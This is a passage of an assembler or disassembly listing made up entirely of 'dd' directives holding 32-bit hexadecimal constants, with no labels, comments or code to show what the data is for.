dd 0B583ECh, 0B78E2E5Bh, 50FB18F8h, 31F7F977h, 0E0E9D6C9h
dd 8794A62Ch, 1C7C399Dh, 5C0C48F8h, 0F262EBD0h, 0EC1EF362h
dd 5DCCCB21h, 0D5B588CEh, 0F6C1C151h, 9887197Fh, 0ED00E5C1h
dd 54C4E7DBh, 1E39D533h, 3769030Ah, 60458556h, 0D27EB89Ah
dd 2A88D6F8h, 0E9827918h, 7E2764CEh, 8AC740BAh, 5DED7FFAh
dd 46BE2582h, 9F524060h, 7C0C1909h, 0CCA5D122h, 0E03AA91Eh
dd 4FE64798h, 0A5687E68h, 6B6936ABh, 2F70310h, 0AEF9C40Eh
dd 75CE6407h, 0BCD1E735h, 0CF28CA9Ch, 46D863DFh, 22AF3056h
dd 0CCD36D5Eh, 0FFB03561h, 0D00859CFh, 9BB7270Ah, 43128141h
dd 0EF80DE6Fh, 1884B8B0h, 0EF855DEAh, 0EEB8A73Dh, 5EAC0CFDh
dd 0EBE230EAh, 36B4A926h, 349E369Dh, 0E8D874E2h, 78C386Eh
dd 104356FAh, 39050149h, 0F8132C1Dh, 771FBA09h, 76B9D0D0h
dd 77849B71h, 562799E2h, 43FB024h, 8DD4AE59h, 0FE125FE0h
dd 98688C25h, 2478F683h, 8D42CEB4h, 9F7779E3h, 4AF4E054h
dd 8B8CC6DAh, 0C24B9ED4h, 0BEAF90DAh, 0C2CB415Eh, 9C70A525h
dd 34CE1C04h, 0A5CE84CBh, 9F2D1B73h, 0B50C65AEh, 0CF040392h
dd 0BD89351h, 6CD7913Fh, 0A8030C17h, 0F3AD3F89h, 0D391241h
dd 2A42E4FAh, 0F4612685h, 0C5519187h, 297CDA6Bh, 72B40A01h
dd 0B3B078A5h, 0F177AE3Fh, 3E539B00h, 70E0F42Ch, 7BE11231h
dd 58E66C0Bh, 206DB49h, 0BFE2167Ah, 936B0D59h, 0BD692F88h
dd 95BAC1F6h, 4C061604h, 0B99D1CB4h, 0E99AE235h, 87AACAECh
dd 22392255h, 42A40A60h, 0D33D6083h, 0EA45D80Bh, 0F4BF38A4h
dd 6E24A509h, 8C23AE5h, 3C8BF09Eh, 0C58CB82Fh, 4FC79898h
dd 5E867C27h, 5F698798h, 0EFE07A99h, 0E7091490h, 0BC74347Ah
dd 0C33BB662h, 144CFA56h, 0F43E3D25h, 80160D80h, 0C7EB1CE1h
dd 54C4CE91h, 0E0A67379h, 9BFB1ECCh, 7628069h, 0B9DB7A02h
dd 3ADDA9ABh, 0AB6E71A8h, 0CCE33E46h, 0D7A0414Ah, 0ABD35D0Fh
dd 558FEEC3h, 9A0A4B6Fh, 0E6701BAh, 0C19778C9h, 0E7897334h
dd 0A9640C21h, 0A0CBB37Bh, 188CE648h, 0F2E4AC19h, 0E0EE61A2h
dd 0BA011BADh, 75F5BB7Bh, 35840CDAh, 0DC8DC1A2h, 0B42F2EFEh
dd 4535C83h, 3EA6E980h, 0FBB57EADh, 80DF7EBCh, 0AC6BEBF2h
dd 2C78A6D7h, 0F9363DAh, 94CE2E24h, 0F48F380Ah, 3DADBFFCh
dd 0A79EF0D2h, 0F542A0E8h, 2A8B4CCh, 0C3EA1046h, 0A09B99AFh
dd 0AA5EA8AFh, 4E969833h, 3A58E7AEh, 0CE582194h, 9CE4B723h
dd 0FE9AEB4Dh, 0D69450Bh, 0CF19E3BBh, 7796B24Ch, 754216F2h
dd 57FAF9DEh, 8B3308DBh, 49B1B30Eh, 7286835Fh, 0F873736Fh
dd 0E3639AA5h, 89DE2D18h, 0B0F3C811h, 0C8252387h, 0D7AAD3D2h
dd 8F61B46Fh, 0B5F8D02Dh, 89C8E0Ch, 0AEA80A8Eh, 0D6D51FCDh
dd 33ADF20Bh, 1D6250B3h, 0F6071542h, 7B3809F4h, 0EC60F00h
dd 0B83C2EC5h, 9076733h, 72313473h, 7708CF30h, 0EF67FBB2h
dd 46A1004Fh, 0AD7FFFD6h, 99579B90h, 5F23D7C5h, 0A8D3751Fh
dd 2E4E7C62h, 0D3D613C8h, 0FA5B79F2h, 335ADAE2h, 56329BA2h
dd 0E10C54B1h, 9D560A91h, 17621133h, 0BBEB0D1Fh, 45FBB861h
dd 135C04E4h, 892FBE54h, 0FDB209C6h, 5C58C4F7h, 517CF14Ch
dd 394195C8h, 0FEAC6621h, 0EF9BC6E4h, 85FBE5F6h, 0A315FC8Fh
dd 69089969h, 0D26B222Bh, 2B625B96h, 0E263E6EFh, 0EFE120E3h
dd 61664FF9h, 0B4B07CE3h, 855BAB9Fh, 390E7425h, 0A81B4C37h
dd 0FA04BC9Ch, 0B369B1E0h, 2E2A09Ah, 0CA173687h, 0B95ED8A1h
dd 57822333h, 9AAC6CF4h, 9004B231h, 0C8CD1A35h, 0C0031061h
dd 57FD4081h, 9C21365Bh, 0C4D8EF0Bh, 0D0CDCC6Ch, 0A02BF54Eh
dd 0FBA2D444h, 1BB62B11h, 0B3936D0h, 5D36AC14h, 0D2C56E4h
dd 7A71256Ah, 0D72D572Fh, 0EE4A3504h, 3296E9BDh, 320D038Fh
dd 3358BE4Fh, 4F68BB61h
dd 5FDA0A96h, 49883A41h, 7A294D23h, 75A261C1h, 5DA12868h
dd 0A901A74Ch, 0F2A46F0Eh, 0CB0D8430h, 9CA446A6h, 4857BDCDh
dd 41BC41Eh, 0CEACDF8Ch, 7A4FE586h, 29D99637h, 0C7DE3DF5h
dd 5C566B4Bh, 7C35F0AEh, 29408BBEh, 0AB9CF1E3h, 0D91A550h
dd 6BCA917Eh, 0A969A195h, 0B5916A31h, 71751AC1h, 857C0275h
dd 95C9DB35h, 0D4B079E6h, 514EF63Ch, 0F533AF4Ch, 0AF99BEFDh
dd 74A83FBDh, 0CAD6AC0Dh, 0E735680Ah, 0BFEBD7DCh, 373921E9h
dd 722B411Ch, 0C6DB33AEh, 762FA603h, 6BCD222Ah, 9D0F958Fh
dd 868FD177h, 0AE7DD295h, 0B97E2245h, 847B4FA8h, 0ECD8DCAEh
dd 6A0A49C7h, 3A832A79h, 18B15410h, 12EA42h, 72DB0E9Fh
dd 8CB26A3Dh, 0F3EF1DB2h, 703AA2Eh, 0EDC159F4h, 83B3AF25h
dd 0E466F71h, 0F2766648h, 5D6AFF5Bh, 59D22402h, 0ED44A2D8h
dd 0ED0B29Ah, 0FDAC5729h, 644758B6h, 0B8AB9D89h, 16CAC711h
dd 6E5E43B9h, 798FFAE4h, 0FF5318CFh, 5E7D29F0h, 8F791E22h
dd 52AEAB8h, 34FE0060h, 4D39C660h, 52D5B800h, 1F27D78Eh
dd 2A24AEE7h, 29AC5665h, 2453F0D2h, 23CB99EAh, 36916656h
dd 0CE3EA7D6h, 93C33693h, 0FC46A6B4h, 0CDCFBFD9h, 18CA6BA8h
dd 900DEC81h, 8A49388h, 7CAFC84Bh, 683DF93h, 5E1CDD7Bh
dd 49B5C8B4h, 72C67DC2h, 906EF7CCh, 0A2BBFF85h, 0BDE70326h
dd 0FC8A0FA6h, 0B9BED1ECh, 449ACE57h, 24B7EA43h, 3402AE8Ah
dd 0F269CD70h, 0C8FB49DCh, 312761CAh, 23AB2270h, 0F9CDAD94h
dd 0F44D33C9h, 8ECE2B8Fh, 0D10FE0BBh, 0B792F42Bh, 23633804h
dd 0C9BAC5BAh, 3699EC8Ah, 0BC0FCC0Ch, 2638342Eh, 79661BD7h
dd 45CE96BDh, 9A4820DFh, 16EF002h, 85FBE2B2h, 57815554h
dd 0D58E4B8Eh, 99AF7AF9h, 0C12D3B31h, 5CBFD0B9h, 0EA1EBD9h
dd 3FF17359h, 0B5B1E151h, 41823B35h, 0FB86FB9Ch, 1790A1C3h
dd 7F856838h, 0F284E12Ch, 861A2F46h, 0EDA27AF6h, 3272B415h
dd 78E6B052h, 0CF7FA26Fh, 0CFAB6184h, 9BE596F9h, 8BBEAE76h
dd 0AD881613h, 543069F8h, 0F69C31DBh, 118B428Fh, 650E826Ch
dd 0ED06FCFDh, 5B743B68h, 9B18F07Ah, 7C7B8CD9h, 391A8C28h
dd 4099844Bh, 2BF7D26Ah, 0E9FEE6C7h, 5106B288h, 8B9BB4ECh
dd 225AF8DBh, 0E5D1D56Ch, 57A965DFh, 0C62870B5h, 999FC713h
dd 0FD768CB0h, 1D5EE957h, 7FAD45DFh, 0EBD62674h, 28BF4861h
dd 0F06288CAh, 92782D0Dh, 7744ADF7h, 666265D4h, 78480B96h
dd 0CB4B84EFh, 0B500AB00h, 8DC69446h, 0AC968BE6h, 9AF8151Ah
dd 3B30031Ch, 71CECC1Dh, 0DF0451DEh, 80A011D6h, 9E50A77Bh
dd 0EFAF85C3h, 4B576F21h, 0A94B41BDh, 0D96BE6A1h, 85308C86h
dd 0CD33C090h, 4725A999h, 9B228BB8h, 0E2337AA0h, 5A29DDD9h
dd 0A2B97FA5h, 0D47D607Fh, 2EE40903h, 0F4C079BEh, 0C97CB35Bh
dd 0F2C0989Ah, 3F94430Bh, 0EFFC0FA4h, 6AEDBD8h, 510EF7DAh
dd 0C7506CDFh, 6D831248h, 2B9D3BE8h, 8A33A3D6h, 0A088AFCFh
dd 13FC7A45h, 0E6A34E29h, 37F20B7Bh, 0AF1A4E4Eh, 33A9CD4Eh
dd 3C344BB4h, 0DB9F06DEh, 99D00A82h, 5C8BFDC8h, 0B43B56FBh
dd 0E1824502h, 859FCBDFh, 27465CE8h, 83C18605h, 6037A8E1h
dd 325D6DCFh, 9BCFF93Bh, 503A5787h, 0C00AADCEh, 0F75038A9h
dd 5213C5BFh, 5D3DD9D6h, 0A1759589h, 7E38B6B6h, 9E230E00h
dd 0E86DB6Ah, 35BACDB8h, 9942CA8Bh, 5A0E178Eh, 0E9930190h
dd 0A7A9DEC5h, 88EA11E5h, 25062CD5h, 4F2AC500h, 9292ED01h
dd 53D34ABCh, 98A3792Bh, 0E5467F68h, 4CBEB642h, 67739170h
dd 0C824F7ABh, 0ED1A865Fh, 5045E2D5h, 15303063h, 5D1AF997h
dd 25356DCEh, 0E0E60435h, 0C10591BCh, 0CD28D5EFh, 0D16F1800h
dd 0BE7633C1h, 0D8927BB7h, 0BC9CB365h, 23FA00EFh, 415BA88Dh
dd 214EEA5Fh, 4D8C8E45h, 8F059033h, 879803D1h, 0F835ED23h
dd 0F6BF2C22h, 82F1B4h, 0AB0D8EB7h, 6A005CB5h, 7A3041A9h
dd 4F14640Ah, 6A8F4B47h, 648EEB22h, 319A090Ch, 0D90C8406h
dd 63DC622h, 0E7E1BF3Bh, 0B0954ED7h, 0BB3A7E47h, 71643140h
dd 6A79D653h, 5F7B9B90h, 8DC58131h, 485E27E7h, 9F82A64Bh
dd 5DF2045Fh, 0BAB49136h, 5B38FC7h, 6C917BF6h, 7AFBC531h
dd 0ABB3E764h, 38385A8Ah, 0DE6456E0h, 0CFFC2DE6h, 0F8A74330h
dd 6607A750h, 0A27825CEh, 380E6358h, 55DA09Ch, 671547A1h
dd 0EE0A7DF0h, 0A00681A9h, 0DC3BE3C2h, 3A13DAEDh, 7498FCFCh
dd 44E7B25Bh, 6C606B0Ah, 0BD1F0660h, 16ACCB5Bh, 0E4C5CDBCh
dd 0D7BD89F6h, 55B06ECFh, 7A2BC80Bh, 6AC07F0Fh, 0C9A97A73h
dd 0A020F4F5h, 24EC8537h, 5666463Dh, 0F4B80F43h, 0F8ED13EAh
dd 0C69C67F5h, 0DC2A9DA8h, 881F0E54h, 85F7D885h, 370E769Dh
dd 6AFF7304h, 0A7633AFBh, 7250DCA5h, 28197686h, 9ACBC71Bh
dd 0A9A9432Dh, 0C1FBBA34h, 7544E464h, 0E7AE86F7h, 4051D6F9h
dd 7A7D4962h, 0EA8553C0h, 9F70DB44h, 0D97CE71Ah, 51D9CD12h
dd 74CEFE6Ah, 24731159h, 0BF49B056h, 0DA34AAEFh, 51D10B37h
dd 0AD47318Ch, 8D44DB9Dh, 0E23B62A2h, 0AEA91CA4h, 704A2FC9h
dd 0A41215ABh, 0C12E4601h, 85920A31h, 0DC14AFC3h, 3476A5E0h
dd 0BCFA57EDh, 0ADBDF0F0h, 0E1A9A80Ch, 0AC4CCAD3h, 1C078942h
dd 0B1023DC6h, 894EFF16h, 34E7FDC6h, 0CBF39223h, 3E2364Ch
dd 6AE38C0Ch, 869B545Eh, 86C9A0CAh, 0ED710326h, 27D1813Fh
dd 0CCD823FAh, 0A56325A6h, 0CCE8FE29h, 39B7ACD2h, 70DF2839h
dd 326A55CEh, 0DE9BA7EBh, 0DA3341B4h, 0B0FBE178h, 0B42EA2A9h
dd 0F94B0DEFh, 0A031E0DDh, 62F65854h, 0D028CA8h, 0C56B7F5Dh
dd 0D7985CD9h, 8216F71Fh, 35EDB17Ah, 42D5E3C0h, 5F5F7400h
dd 0CC26BA35h, 7B044D6Bh, 0EF963FFCh, 8A2559C9h, 9AD88B30h
dd 93499D07h, 72D03FC1h, 19C0F9C4h, 0D97B623Fh, 64286628h
dd 0C867A204h, 1BEB44D6h, 821C46F7h, 43C3CE95h, 5C2AFB82h
dd 0F3E90768h, 0D0E8E997h, 688762C0h, 0D65788Bh, 0C08DA791h
dd 0E071F273h, 0B45D7D97h, 353FD195h, 40BF1320h, 2D893258h
dd 294987BBh, 3528F853h, 0AE6080Bh, 24E65EAEh, 56C4A496h
dd 26A21FC2h, 89141638h, 90C87384h, 0AF2D75Ah, 0D0F78064h
dd 4DA8E444h, 0EBB6CB9Eh, 7AF416A8h, 0D2063D9Fh, 0A720011Ch
dd 6429B41Ch, 0B1F9FA1h, 23E37DF2h, 53F18377h, 0A8ADF15h
dd 2E39BE7Ah, 0C8F94204h, 1551929h, 801DBA9Ch, 6B66E8DFh
dd 2C084014h, 3AAAA337h, 82217F88h, 634448E6h, 4E83DFE9h
dd 9830E67Ah, 0E33BFCA2h, 9C1117C1h, 7164F6A1h, 33DB6C09h
dd 61A2CCD2h, 0FF10C240h, 0A8E2E4C2h, 3B372A9Fh, 0C19BC1C9h
dd 196D1918h, 3857D495h, 4ECBD89Fh, 60518B02h, 0BAB543E6h
dd 0EB6BA4DAh, 0F3EFE38Eh, 0DC733E3Eh, 2333BDD4h, 0F127E8E8h
dd 28891AB8h, 10B05015h, 0B71BCCE0h, 6C4AA12Bh, 0F1F0A709h
dd 0B8069536h, 0E1A354A7h, 35C5C4C0h, 7A493AECh, 0ACFA1FCDh
dd 40D7642h, 0B13DC85h, 0B850F8B8h, 0B1FE5FB8h, 0F4E2EEC0h
dd 127BD25Eh, 0A1FA4FACh, 0F3A0C573h, 23D92503h, 44CC71F7h
dd 22DF7B08h, 5138EB55h, 0E0A7A83Ah, 0FBDCCD7Fh, 4AD8C27Bh
dd 8ACAC105h, 373DF855h, 0D02DB793h, 67ADA647h, 9590F642h
dd 44626386h, 0A44D23D1h, 1FE3EC4Ch, 728E2373h, 0B6C7A86Bh
dd 78A7907Ah, 0E383B593h, 994F8120h, 0D86A383Ah, 2593ED93h
dd 0BBAA67FEh, 62977B54h, 184CD0D6h, 4BE1AE52h, 7CA25CF3h
dd 2FD0BC11h, 41B327Fh
dd 0F6C2A4FDh, 0E660B714h, 69EC5246h, 0D2453102h, 3E6BB6DCh
dd 8BB6E7F9h, 4DB31808h, 0EB018075h, 0BBE79A60h, 0C67B4F3Ah
dd 911EB141h, 843EEC02h, 0F025EBE7h, 893D1D90h, 0F6DD996h
dd 7BB28D77h, 138FB174h, 0F590BC28h, 7ED60772h, 4E93F734h
dd 4EDAFFFBh, 0B094964Ch, 0B8753FC2h, 8CBF280Eh, 1FA589E0h
dd 90391F0Dh, 5A18C511h, 50C6F39Ch, 0BF55CD75h, 464A7C04h
dd 92C5F08Ch, 561A1463h, 857BE785h, 2D310699h, 42150753h
dd 0B3BF3501h, 6786145Ch, 6F795801h, 0C6B9E6Eh, 0A4723A1h
dd 0FBF76658h, 7417104Dh, 0E91A11E7h, 72D239DDh, 4C5EA2CBh
dd 4A0575CFh, 25148FB5h, 75281638h, 88D974A5h, 8E998178h
dd 0B281BB74h, 783F00EDh, 257C40A2h, 0BF48A540h, 0C4C52CD6h
dd 0E7813AF5h, 3873B800h, 2E95AD6h, 0AA3B449Bh, 0D6BB207Eh
dd 15A7D8F8h, 0BECFEEDFh, 0C7E945E4h, 0A0E62A1Bh, 0E018371Bh
dd 0C3B60B1h, 6667CC3Dh, 0EBCD289Eh, 0BD108E66h, 2972D86Ch
dd 0E8F16E5Ch, 0BC940CD2h, 0F45927D5h, 0B7137753h, 0FEBA3A2Eh
dd 192510C4h, 2EE7CAD9h, 4A996BD7h, 7DBDFB00h, 99B8CA91h
dd 0BABC81E4h, 5DC9C80Eh, 0E2C0074Dh, 8902440Bh, 0B498D3F6h
dd 0B2B9341Ch, 0E52FD97Bh, 1B96891Fh, 0CFE13A24h, 8E9D4D8Dh
dd 384F6941h, 134846E1h, 4FBB0A42h, 17C87BCh, 0D74959D9h
dd 0A48FFA42h, 7CABB0F8h, 7839B67Ah, 2A60556Fh, 77B12898h
dd 0D7CCCDBh, 5CD76CE6h, 0C6362AF5h, 0DB478407h, 0A0107D1Eh
dd 0BD436C61h, 4D049C0h, 0C5B8C77Fh, 0D7DCC1E2h, 11A9Fh
dd 820CF1F4h, 10DFD159h, 0EF8AF562h, 0EDFF5F9Fh, 22DE5059h
dd 5AE00BD7h, 79CF1D10h, 374A3700h, 0D6101CA5h, 0B1AF984Fh
dd 83795304h, 84440B4Fh, 0FFED6E63h, 8AA8D766h, 462292D2h
dd 14DCAE0h, 336DBC65h, 8A9F8C5Eh, 0BAEF3221h, 9D5240B1h
dd 5BFA7973h, 2DAF3FFAh, 0B3D6ED38h, 3E003F96h, 8B04BBEh
dd 2B70697Bh, 2D06DF49h, 0E32691DDh, 0AD5A7E4Fh, 940DD370h
dd 970A9AEFh, 0C3662512h, 0EC128AAFh, 0C5962FFEh, 0F0E39587h
dd 7CCD24FAh, 1F52AF7Ch, 0D256AC78h, 0EA313F50h, 18A8360Ah
dd 18150EE9h, 0A2F9357Ah, 0C1A6DA3Eh, 94898694h, 4426575Eh
dd 30B254F7h, 6A7D4153h, 2EE79FF6h, 3AA85018h, 0E49FEBC7h
dd 5734D16Dh, 0A2A1B8h, 1208005Ah, 43F75A0Ah, 0B1A6E40Ah
dd 95ADC5AEh, 81727C20h, 542D5313h, 1212E04Fh, 0DB6C0002h
dd 0CCFD0418h, 6A579A89h, 73A9A253h, 0F92FB9D7h, 0DD62830Fh
dd 0DB1015C1h, 6613AC74h, 71FA8BA0h, 5616220h, 4005B08Eh
dd 0C880476Ah, 4681D573h, 31779F49h, 53492ABFh, 0E88A90D3h
dd 0D22C38EFh, 9B34ED2Eh, 791B67C8h, 799BE0Bh, 0BE338245h
dd 0D7583BECh, 0D4D63081h, 2BEA63CAh, 18D964Bh, 0A3300381h
dd 3DCDB07h, 46B7CEFCh, 0AF377506h, 886B1927h, 2CBD754Ch
dd 1A1A5573h, 374DE76Bh, 0E826399Bh, 0ADA03415h, 0C0ADB121h
dd 0EE70A3D4h, 311ECDDBh, 0EAE640A8h, 64A5A1A2h, 0C2FCF801h
dd 6483A275h, 0A73F99D6h, 2B1E6E14h, 457798A1h, 0E3B63706h
dd 735580ADh, 710B74D4h, 546A93B7h, 4B18A308h, 47115CC6h
dd 2AAACD88h, 32AD15EFh, 3834AC25h, 931D74B7h, 0BC2F943Ah
dd 9A91E49h, 0F4B2A295h, 0ABAFBD77h, 0BECE5439h, 8AD1E762h
dd 0E9CF1F6Bh, 4ECD0E22h, 91EA140Ch, 0F3E292E4h, 35DD5DCAh
dd 25DE6A4Eh, 0DD9F7672h, 0F3171D9Bh, 0FE77C885h, 69F6305Dh
dd 0DE233401h, 0F19A1B1Ah, 6D7B36C0h, 0B6D68A1Ah, 1E7666B0h
dd 6EA56AC3h, 108824B7h, 0CE2A2779h, 31C87AF9h, 78EBAF5Ch
dd 0C305C498h, 9D8B17F2h, 0EF6D3B89h, 9859EE23h, 0CD2CC9C4h
dd 28E47964h, 8B2DE7Bh, 0B0F4D5F9h, 7A6D7AC2h, 6ACEFCACh
dd 2DC51C30h, 168CE40Fh, 747FE6E2h, 0FFA8F7D9h, 0AB90CA84h
dd 36CAEA40h, 3DA11079h, 0C1A2BDA5h, 34AD3A1Eh, 53ACCA56h
dd 30CEC513h, 0E8C513BAh, 0BAB78B98h, 9B42E470h, 6D3BFEC0h
dd 247947E8h, 0F5CCB208h, 2A138EDBh, 5CD4FCD9h, 49C197AFh
dd 0CC742911h, 858A16DFh, 21A37602h, 0FCD4724Ah, 8CAEFD58h
dd 0FDB66FCCh, 39A30A50h, 0F6471BFh, 69BEBB9Eh, 0E01C4A15h
dd 4C5C822Ah, 0E839DF88h, 0A708AD46h, 9427CCF3h, 0C35C32D2h
dd 0F352CA0Ah, 6D3EF689h, 0C309B351h, 0FFDF372Ah, 0A0211611h
dd 0F2254738h, 0B69E46ACh, 6F2AC9Ch, 0EE3FB1FAh, 66867881h
dd 0A9274A11h, 3FF5741Dh, 16E143DAh, 0B4252CF9h, 0EDD83636h
dd 0F40848Ah, 55E56F2Fh, 9304D225h, 0E564F420h, 717BAB5Eh
dd 0A243AFAFh, 61EEB679h, 818F7696h, 0F5357957h, 4B82392h
dd 375DF55Bh, 36740CA5h, 9E7D57F9h, 73543322h, 0F4F9E239h
dd 763A76CCh, 6EA4B54h, 0A0C1F3A6h, 0E2DC054Eh, 0C4B8E8E2h
dd 0AF79AC09h, 68752305h, 2956EB32h, 68032A55h, 8EC7AA5Fh
dd 5133F1Bh, 4A11EBAEh, 87DDC30h, 0DFC196E0h, 9457D498h
dd 0CAA7F997h, 7DCC7C50h, 0A14D0EAFh, 0D9AE69DCh, 61C19FF6h
dd 4CC778A5h, 0FEF274AEh, 0E7DB6C12h, 0D374896Ch, 0F2104233h
dd 5C64161Ch, 0C75AFF9Fh, 0BAB4D4CAh, 92BFF7DCh, 16DAA0F9h
dd 21D282DEh, 0E491C916h, 0AB191460h, 0F2B2C108h, 71625E5Fh
dd 0A32EC5B8h, 0A793F910h, 0CBC7A7Fh, 1D51B698h, 0B2579E54h
dd 7CB8E400h, 1BBBF5h, 0C7CC764Dh, 98D888E7h, 14591617h
dd 4925B950h, 808CD1B1h, 0F9B5E0A8h, 4DD6D852h, 0FBF366F3h
dd 5173816Ah, 0A7E56701h, 18243322h, 7A0767FCh, 5877350Dh
dd 28215341h, 603725B4h, 0CF3E03BEh, 0B5DC2BABh, 85C8E39Ah
dd 0AC0F580h, 0AC1FB3CDh, 0FD7E62F7h, 0CB7CF6C1h, 320342F0h
dd 0E8D8D415h, 6C96844Fh, 0FBAB5D3Fh, 21217911h, 0B57B0318h
dd 6B9741E0h, 0AECC846Dh, 8BFE6562h, 5866918Ah, 5B85CAE1h
dd 0FE2BD9B3h, 0F4C340DAh, 7DD73D38h, 705EAC90h, 9B4ED8DEh
dd 0E66B6AA7h, 0E25A70F1h, 2BB9A529h, 0E02E6594h, 68A5EC6Ch
dd 8A39C3Ah, 1D2185FBh, 634ADC08h, 0D69561D1h, 291554AFh
dd 0FD74A600h, 9FFAF0Eh, 0F350D43Dh, 8B7FCA5Ch, 6015F5B2h
dd 0DB62BF34h, 5C7DD4F7h, 0C1F91D5h, 8225B5Eh, 6D089CFCh
dd 59611558h, 32B6401Ch, 0FDFFCF08h, 6C76DDB1h, 72772E96h
dd 6BF9026h, 6E9AC58Bh, 0DDAE5101h, 8E052C25h, 40705B87h
dd 0ADC032F0h, 0D146B9CBh, 0B95FFF00h, 0C499FD77h, 388D81CCh
dd 0ECC8B85Ah, 22FCF025h, 686CDA12h, 54F5F059h, 0BBC102F4h
dd 0A1866A93h, 0EA5A61A7h, 5C58C574h, 47466C18h, 0CB3D6253h
dd 50EB737Fh, 2C43A6Eh, 0D1704568h, 0B3488D83h, 4CFC44C0h
dd 4A0D93F6h, 98CED7EFh, 0B376577h, 0A07DF8D6h, 2E62F497h
dd 8B70D32Fh, 0C855517h, 470A8030h, 6A45935Eh, 0D0611317h
dd 158ADB2Eh, 4B930B3h, 9ED60E93h, 0ADFB0A8h, 80132437h
dd 34725F96h, 0E275EA64h, 6B3E5CCCh, 8FD95A39h, 0E41A6B33h
dd 53A31BC9h, 0E24691BFh, 228F7FFCh, 7559DFDEh, 5880AF3Bh
dd 1EDFB8C6h, 3AFCAD9Dh, 446FE12h, 0CEA4B191h, 787F8ED9h
dd 4FEF2F47h, 6B6D3098h, 686A020Dh, 0BFDBC3E6h, 1ABD5F20h
dd 0DCB54EC7h, 3A379DBFh, 0C6174F5h, 95BBD143h, 0F6C15A7Eh
dd 9BB76C55h, 3E53DB35h, 76744215h, 0A8097FF9h, 0C8415E77h
dd 0C762E74Bh, 2B7EFA20h, 98318887h, 52A6C10Fh, 7FC0EC1h
dd 84E82D9Dh, 0EF05B47Eh, 8661DC10h, 7A069A7Ah, 0B4117884h
dd 44EDB0h, 68C68DFEh
dd 0AD7C83DCh, 0F86E6C2Ah, 1D9A5973h, 0ECBFB42Ch, 7B96204Dh
dd 2817DEA2h, 7EFFA08Ah, 77BB2E9Dh, 99FBFE17h, 808A5586h
dd 0AE84CE9Fh, 5DA2BDDh, 0C9ABF3B8h, 0B897723Bh, 0DB9C6BEDh
dd 8E9E1F46h, 8F71BE46h, 0C7F44B08h, 0EA061815h, 145B7BFEh
dd 0E3ECD1DBh, 72964E74h, 561701ADh, 0E213EF44h, 6B5370ADh
dd 0B4098328h, 779C8CB0h, 0CE31B49Ch, 0D6AC2807h, 24D19C28h
dd 0F40C3C30h, 4BDDD597h, 3A51AF6Dh, 619438D2h, 3E30C8B6h
dd 95D30540h, 0B41145DEh, 0FE683C1Ch, 0E013BE6Bh, 3FC56986h
dd 68A89126h, 74130822h, 491C447Eh, 5969B06Fh, 0E5111075h
dd 0DC8074BBh, 7140E8C0h, 6013F92Bh, 0FBE5DB32h, 0A0F7D9FFh
dd 0DFDE2162h, 0D9BF579Ch, 0F584C258h, 796E836Eh, 0C6DA05A3h
dd 72E859BBh, 2EBFE8D0h, 2B45A04Fh, 0AC45A7A4h, 42962821h
dd 0BC3AF2C5h, 0F0DA7A59h, 5D56B7B0h, 0B8210163h, 0AFDF164Ah
dd 5042B878h, 0AF2B9E01h, 0B88C247Ch, 27A14666h, 529494FDh
dd 0F5F13648h, 1B330AC7h, 62564C32h, 0B3EC7F72h, 0E24BBA3Ah
dd 9186EC47h, 0E1407ED9h, 0DBE7F82Ch, 11702173h, 6BEDD7FEh
dd 87AE78Ah, 0CB27C23Ah, 38DDEE50h, 0B365D2F7h, 20937AE7h
dd 0BA15E349h, 0DA7C97BCh, 0DF26BDA4h, 14FE6BC3h, 0F2CC4A7Bh
dd 0F519DCB8h, 0AEA0262Dh, 756216E0h, 5C822B22h, 415D0649h
dd 94FF5ACDh, 33669C00h, 665B7938h, 86AEE687h, 0E2504A21h
dd 0EA1CDDC2h, 0B517F43Ah, 3D8CD3FFh, 542EAC82h, 2194B140h
dd 65EE5E2Ah, 48348353h, 419C0141h, 0B343C76Ah, 63DBAF74h
dd 0BE634000h, 0B38D6E6Eh, 7E0D74DBh, 2578A419h, 0E51D9CE2h
dd 41313A88h, 70A94A32h, 0E09B4CFBh, 0E57AC25Eh, 807698B7h
dd 9B1500DBh, 0DBE8104Bh, 1C85BBEBh, 2BF14547h, 0A7EE3460h
dd 0E17CC136h, 0ED8F9413h, 0E0AE2D73h, 9120653Eh, 6AE5E08Ah
dd 8314D44h, 70897698h, 8EEEC948h, 0C81436AEh, 40C4D42Ah
dd 0AF41D5EDh, 0CD1835DFh, 2D3534Ah, 0BC1F7CCCh, 3B5819CEh
dd 0B386B635h, 43541109h, 522EACA5h, 0CF700037h, 43B59BC7h
dd 21C79146h, 0E6A3000Bh, 9E0C54E1h, 7397C43Ah, 0CB541519h
dd 53908224h, 13C8345Dh, 0DDD0E7BFh, 5611792Eh, 0C609577Dh
dd 0B644EFC3h, 5A5DD5CBh, 0E949BC74h, 9839A16Dh, 66A38E95h
dd 8D3C8196h, 8433B2CFh, 0CEC42EFh, 7ACB7DE8h, 0DA364882h
dd 81D19B8Ch, 7BA19728h, 90092ADAh, 8156B183h, 3DC4DE1Ah
dd 0BF7F59ADh, 6F7B332Dh, 0FE42FF30h, 1221A764h, 0F0F3336Fh
dd 0D45B3F1Bh, 57CBF9Eh, 549C5EEFh, 7D64BC9Dh, 7F81F0F7h
dd 99DC214Eh, 6928876h, 858F2A21h, 49EA876Fh, 27B612BDh
dd 7F26EF6Bh, 0A3C5A7C4h, 0CE4BC92Ah, 0CA868DCDh, 0C864A258h
dd 0D1846E84h, 0E27F6248h, 7B73DD2Ah, 4D14BE04h, 7FEC0DF2h
dd 669E295Ah, 0D92FA053h, 2FDCF46Dh, 0E938CF55h, 26953A2Fh
dd 0D179C21Bh, 0E81FA8D8h, 0CAC9D7A1h, 82B745DCh, 92FB720Fh
dd 0D052865Fh, 7D3DD56Ch, 0D5B36D3h, 0EB91C46Eh, 3EEC1F33h
dd 8AA3A33Ch, 1E827DB5h, 0DEA8C35h, 0FB397C3Ch, 16981956h
dd 86D0CFF6h, 0F2A6C5DCh, 0ADB4628Ch, 0B9374319h, 166D3C6Dh
dd 36193209h, 2DB7F241h, 6B41D8A2h, 55E43020h, 0F40A2F7Fh
dd 5AED0544h, 6B0EE56Dh, 0EF24A534h, 5E8DB992h, 3CCBB7FDh
dd 6C456B33h, 229AAEE1h, 0AB44BA7Fh, 1A119F7Bh, 0E40B39A7h
dd 0BF86ACCDh, 50395211h, 16163059h, 7B2F4DC2h, 0CCD5BCDDh
dd 0CEB4934Fh, 54783E0Ch, 990BF80Eh, 4881D18h, 8071368h
dd 590C30F0h, 0EA0693CCh, 0F50F9424h, 0DA8AA3FDh, 0AA196DB3h
